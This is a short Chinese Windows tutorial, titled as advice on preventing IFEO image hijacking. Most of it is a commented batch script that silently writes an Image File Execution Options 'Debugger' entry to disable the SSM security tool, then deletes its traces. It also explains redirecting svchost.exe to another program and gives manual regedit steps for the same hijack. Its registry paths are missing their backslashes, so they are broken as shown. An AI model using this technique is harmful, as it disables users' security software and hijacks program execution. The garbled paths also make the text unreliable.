防范IFEO映像劫持

　　@echo off //关闭命令回显

　　echo 此批处理只作技巧介绍，请勿用于非法活动！//显示echo后的文字

　　pause //停止

　　echo Windows Registry Editor Version 5.00>>ssm.reg

　　echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssyssafe.EXE] >>ssm.reg

　　echo "Debugger"="syssafe.EXE" >>ssm.reg //把echo后的文字导出到SSM.reg中

　　regedit /s ssm.reg &del /q ssm.reg //导入ssm.reg并删除

　　使SSM失效HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssvchost.exe项下的"Debugger"="abc.exe" 意思是不执行svchost.exe而执行abc.exe。

　　可能说了上面那么多，大家还弄不懂是什么意思，没关系，我们大家一起来看网络上另一个朋友做得试验：

　　如上图了，开始-运行-regedit，展开到：

　　HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options 然后选上Image File Execution

　　Options，新建个项，然后，把这个项（默认在最后面）然后改成123.exe。

　　选上123.exe这个项，然后默认右边是空白的，我们点右键，新建个“字串符”，然后改名为“Debugger" 　这一步要做好，然后回车，就可以。。。再双击该键，修改数据数值（其实就是路径）。